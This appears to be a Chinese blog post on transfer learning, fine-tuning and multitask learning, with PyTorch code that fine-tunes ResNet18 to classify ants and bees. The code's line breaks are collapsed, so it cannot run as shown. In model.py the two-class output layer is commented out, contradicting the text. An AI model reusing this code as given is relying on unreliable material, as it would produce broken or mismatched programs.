【PyTorch][chapter 25][李宏毅深度学习][Transfer Learning-1]

前言：

迁移学习是一种机器学习的方法,指的是一个预训练的模型被重新用在另一个任务中。

比如已经有个模型A 实现了猫狗分类

模型B 要实现大象和老虎分类,可以利用训练好的模型A 的一些参数特征,简化当前的训练

过程.

简介
Model Fine-Tuning (模型微调）
multitask learning( 多任务学习)
Python 例子

一简介

Transfer Learning 是一种常用的深度学习方案.

如下图：

Task A: 通过语音识别台语. 但是 Task Data 中数据集非常少，很难训练出好的模型A,

TaskB: 通过语音识别中英文. 我们很容易获得大量 Source Data,，我们是否可以先训练一个模型B,实现中英文文语音识别. 然后再通过模型B 的参数去实现 Task A呢？

同样在图像识别,文本分类依然存在同样的场景，需要做的Task A 的 Target Data 非常少,是否

可以利用相似的TaskB ,反过来优化任务A。

二 Model Fine-Tuning (模型微调）

source Data : $(x^s,y^s)$ 已经打了标签，有大量的数据集

Target Data: $(x^t,y^t)$ 未打标签,极少量的数据集，是Target Task.

方案：

1：先通过 source Data 训练一个模型B,实现Task B

2：再通过参数微调得到模型A,实现Task A

下面介绍几个方案

2.1 Conservation Training 1(保守的微调）

1：利用source Data 训练出 model B

2: 利用model B 的模型参数初始化 model A

3: 利用Task Data, 只训练几个epoch ,这样model B 和 model A 的参数尽可能的接近

如上面实现猫狗分类到老虎和大象分类的例子

2.2 Conservation Training 2 (保守的微调）

1：利用source Data 训练出 model B

2: 利用model B 的模型参数初始化 model A

3: 固定部分layer ,利用Target Data 训练剩下来的layer

在语音识别中: 通常copy最后几层, 通过Target Data 训练接近输入层的layer

在图像识别中：通常copy 前面几层, 通过Target Data 训练接近输出层的layer

二 multitask learning( 多任务学习)

2.1 自动驾驶案例

我们需要实时对图像进行车辆检测、车道线分割、景深估计等。传统的方式使是基于单任务学习（Single-Task Learning，STL），即每个任务使用一个独立的模型。

多任务使用一个模型实现多任务的预测。输入一张图片,通过不同的Decoder 实现不同任务的检测

2.2 语音识别案例

输入一段语音,使用相同的Encoder,不同的Decoder来训练多任务，实现中文,法文,日文,英文文字识别任务。

2.3 为什么要使用该方案

1: 实验效果
很多实验效果证明多任务系统相对于当任务有更好的效果。
比如语音识别例子中，语料库里面法文标签的数据集非常少，我们可以通过Multi-Task Learning
比单独训练法文Model 具有更好的效果.
每个任务可以选择性的利用其他任务中学习到的隐藏特征，提高自身能力；

2 训练效率更高
多个任务使用一个共享的Encoder，更少的GPU显存占用，更快的处理性能；

3 泛化性更强
在多个任务的数据集上训练，任务之间有一定相关性，相当于一种隐式的数据增强，可以提高模型泛化能力；

4 防止模型过拟合
兼顾多个任务，一定程度上避免了模型过拟合到单个任务的训练集；

5 更好的特征表达
共享的Encoder输出满足多任务的，相比STL可以获得更好的特征表达；

三 Progressive Neural Networks（增量学习）

Step 1：构建 Model 1, 通过task1的数据集训练 Model 1

Step 2：固定Model 1,构建Model 2，把task2 的数据集输入Model 1,其每一层的输出添加进Model2 的输入层, 训练Model 2

Step 3：固定Model1,Model2, 构建Model 3，然后同上一样的方法连接到第三个神经网络中，

训练Model 3

下面给出两个简单的例子

# -*- coding: utf-8 -*-
"""
Created on Sun Apr  7 14:53:19 2024@author: chengxf2
"""
from torch import nn
from torchvision import  models
import torchvision
import torch.optim as optim
from torch.optim import lr_scheduler
import torchdevice = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")def net():# 加载预训练模型model = models.vgg16(pretrained=True)  print(model)for parameter in model.parameters():# 冻结了所有层（参数不会更新）parameter.requires_grad = False	  #查看model.parameters()的参数    model.classifier[6] = nn.Linear(in_features=4096, out_features=2, bias=True)for name,param in model.named_parameters():print(name, param.requires_grad)return modeldef netFin():# 加载预训练模型model_conv = torchvision.models.resnet18(pretrained=True)  for param in model_conv.parameters():param.requires_grad = False# Parameters of newly constructed modules have requires_grad=True by defaultnum_ftrs = model_conv.fc.in_featuresmodel_conv.fc = nn.Linear(num_ftrs, 2)for name,param in model_conv.named_parameters():print(name, param.requires_grad)model_conv = model_conv.to(device)criterion = nn.CrossEntropyLoss()# Observe that only parameters of final layer are being optimized as# opposed to before.optimizer_conv = optim.SGD(model_conv.fc.parameters(), lr=0.001, momentum=0.9)# Decay LR by a factor of 0.1 every 7 epochsexp_lr_scheduler = lr_scheduler.StepLR(optimizer_conv, step_size=7, gamma=0.1)netFin()

四 Python 例子

利用resnet18 来进行昆虫分类,默认是实现1000种分类。

现在把全连接层改成二分类：分类蚂蚁和蜜蜂，只要训练1-2轮

精确度可以达到90%以上。

项目分为三个部分

1： data.py 加载数据集

2： train.py 训练模型

3： model.py 模型部分

数据集

https://download.csdn.net/download/weixin_46233323/12182815

1： train.py

# -*- coding: utf-8 -*-
"""
Created on Sun Apr  7 15:28:16 2024@author: chengxf2
"""import torch
from model import netFin
import time
from tempfile import TemporaryDirectory
import os
from data import create_dataset
import matplotlib.pyplot as plt
from data import imshowdevice = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")def visualize_model(model, dataloaders,class_names, num_images,device):was_training = model.trainingmodel.eval()images_so_far = 0fig = plt.figure()with torch.no_grad():for i, (inputs, labels) in enumerate(dataloaders['val']):inputs = inputs.to(device)labels = labels.to(device)outputs = model(inputs)_, preds = torch.max(outputs, 1)for j in range(inputs.size()[0]):images_so_far += 1ax = plt.subplot(num_images//2, 2, images_so_far)ax.axis('off')ax.set_title(f'predicted: {class_names[preds[j]]}')imshow(inputs.cpu().data[j])if images_so_far == num_images:model.train(mode=was_training)returnmodel.train(mode=was_training)def train_model(model, criterion, optimizer, scheduler, num_epochs,dataloaders,dataset_sizes):# Create a temporary directory to save training checkpointswith TemporaryDirectory() as tempdir:best_model_params_path = os.path.join(tempdir, 'best_model_params.pt')torch.save(model.state_dict(), best_model_params_path)best_acc = 0.0print("\n --train---")start_time = time.time()for epoch in range(num_epochs):epoch_start_time = time.time()#print(f'Epoch {epoch}/{num_epochs - 1}')#print('-' * 10)# Each epoch has a training and validation phasefor phase in ['train', 'val']:if phase == 'train':model.train()  # Set model to training modeelse:model.eval()   # Set model to evaluate moderunning_loss = 0.0running_corrects = 0# Iterate over data.for inputs, labels in dataloaders[phase]:inputs = inputs.to(device)labels = labels.to(device)# zero the parameter gradientsoptimizer.zero_grad()# forward# track history if only in trainwith torch.set_grad_enabled(phase == 'train'):outputs = model(inputs)_, preds = torch.max(outputs, 1)loss = criterion(outputs, labels)# backward + optimize only if in training phaseif phase == 'train':loss.backward()optimizer.step()# statisticsrunning_loss += loss.item() * inputs.size(0)running_corrects += torch.sum(preds == labels.data)if phase == 'train':scheduler.step()epoch_loss = running_loss / dataset_sizes[phase]epoch_acc = running_corrects.double() / dataset_sizes[phase]#print(f'{phase} Loss: {epoch_loss:.4f} Acc: {epoch_acc:.4f}')# deep copy the modelif phase == 'val' and epoch_acc > best_acc:best_acc = epoch_acctorch.save(model.state_dict(), best_model_params_path)print('End of epoch %d   Time Taken: %d sec' % (epoch,  time.time() - epoch_start_time),f'{phase} Loss: {epoch_loss:.4f} Acc: {epoch_acc:.4f}')time_elapsed = time.time() - start_timeprint(f'Training complete in {time_elapsed // 60:.0f}m {time_elapsed % 60:.0f}s')print(f'Best val Acc: {best_acc:4f}')# load best model weightsmodel.load_state_dict(torch.load(best_model_params_path))return modelif __name__ == '__main__':num_epochs = 20num_images = 6dataloaders,dataset_sizes,class_names = create_dataset()model, criterion, optimizer, scheduler = netFin()train_model(model, criterion, optimizer, scheduler, num_epochs,dataloaders,dataset_sizes)visualize_model(model, dataloaders,class_names, num_images,device)

2: data.py

# -*- coding: utf-8 -*-
"""
Created on Sun Apr  7 15:37:38 2024@author: chengxf2
"""
import os
import torch
from torchvision import datasets, models, transforms
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
import torchvisiondef visualize_model_predictions(model,data_transforms,img_path,device,class_names):was_training = model.trainingmodel.eval()img = Image.open(img_path)img = data_transforms['val'](img)img = img.unsqueeze(0)img = img.to(device)with torch.no_grad():outputs = model(img)_, preds = torch.max(outputs, 1)ax = plt.subplot(2,2,1)ax.axis('off')ax.set_title(f'Predicted: {class_names[preds[0]]}')imshow(img.cpu().data[0])model.train(mode=was_training)def imshow(inp, title=None):"""Display image for Tensor."""#[channel=3, 228, 228*batch_size]inp = inp.numpy().transpose((1, 2, 0))#[228, 228*batch_size, channel=3]mean = np.array([0.485, 0.456, 0.406])std = np.array([0.229, 0.224, 0.225])inp = std * inp + meaninp = np.clip(inp, 0, 1)#(行, 列, channel)：具有RGB值（0-1浮点数或0-255整数）的图像。plt.imshow(inp)if title is not None:plt.title(title)plt.pause(0.001)  # pause a bit so that plots are updateddef create_dataset():# Data augmentation and normalization for training# Just normalization for validationimage_datasets={}dataloaders={}dataSize ={}data_transforms = {'train': transforms.Compose([transforms.RandomResizedCrop(224),transforms.RandomHorizontalFlip(),transforms.ToTensor(),transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]),'val': transforms.Compose([transforms.Resize(256),transforms.CenterCrop(224),transforms.ToTensor(),transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]),}data_dir = 'hymenoptera_data'for x in ['train', 'val']:image_datasets[x]= datasets.ImageFolder(os.path.join(data_dir, x),data_transforms[x])for x  in ['train', 'val']:dataloaders[x] = torch.utils.data.DataLoader(image_datasets[x], batch_size=2,shuffle=True)for x in ['train', 'val']:dataSize[x]= len(image_datasets[x])#device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")#print(type(dataloaders))class_names = image_datasets['train'].classesreturn  dataloaders, dataSize,class_names'''  # Get a batch of training data
dataloaders, class_names= create_dataset(None)
inputs, classes = next(iter(dataloaders['train']))  
#[batch, channel, width, hight]
#print(inputs.shape)
#torch.Size([4, 3, 224, 224])
# Make a grid from batchdataloaders
out = torchvision.utils.make_grid(inputs)imshow(out, title=[class_names[x] for x in classes])
'''

3:model.py

# -*- coding: utf-8 -*-
"""
Created on Sun Apr  7 14:53:19 2024@author: chengxf2
"""
from torch import nn
from torchvision import  models
import torchvision
import torch.optim as optim
from torch.optim import lr_scheduler
import torch
from torchsummary import summarydevice = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")def net():# 加载预训练模型model = models.vgg16(pretrained=True)  print(model)for parameter in model.parameters():# 冻结了所有层（参数不会更新）parameter.requires_grad = False	  #查看model.parameters()的参数    model.classifier[6] = nn.Linear(in_features=4096, out_features=2, bias=True)for name,param in model.named_parameters():print(name, param.requires_grad)return modeldef netFin():# 加载预训练模型model_conv = torchvision.models.resnet18(pretrained=True)  for param in model_conv.parameters():param.requires_grad = False# Parameters of newly constructed modules have requires_grad=True by defaultnum_ftrs = model_conv.fc.in_features#打印出默认的网络结构summary(model_conv, (3, 512, 512))  # 输出网络结构#model_conv.fc = nn.Linear(num_ftrs, 2)'''# Debug infofor name,param in model_conv.named_parameters():print(name, param.requires_grad)'''model_conv = model_conv.to(device)criterion = nn.CrossEntropyLoss()# Observe that only parameters of final layer are being optimized as# opposed to before.optimizer = optim.SGD(model_conv.fc.parameters(), lr=0.001, momentum=0.9)# Decay LR by a factor of 0.1 every 7 epochsexp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=7, gamma=0.1)return model_conv, criterion, optimizer, exp_lr_scheduler

Multi-Task Learning 多任务学习 - 知乎

Transfer Learning for Computer Vision Tutorial — PyTorch Tutorials 2.2.1+cu121 documentation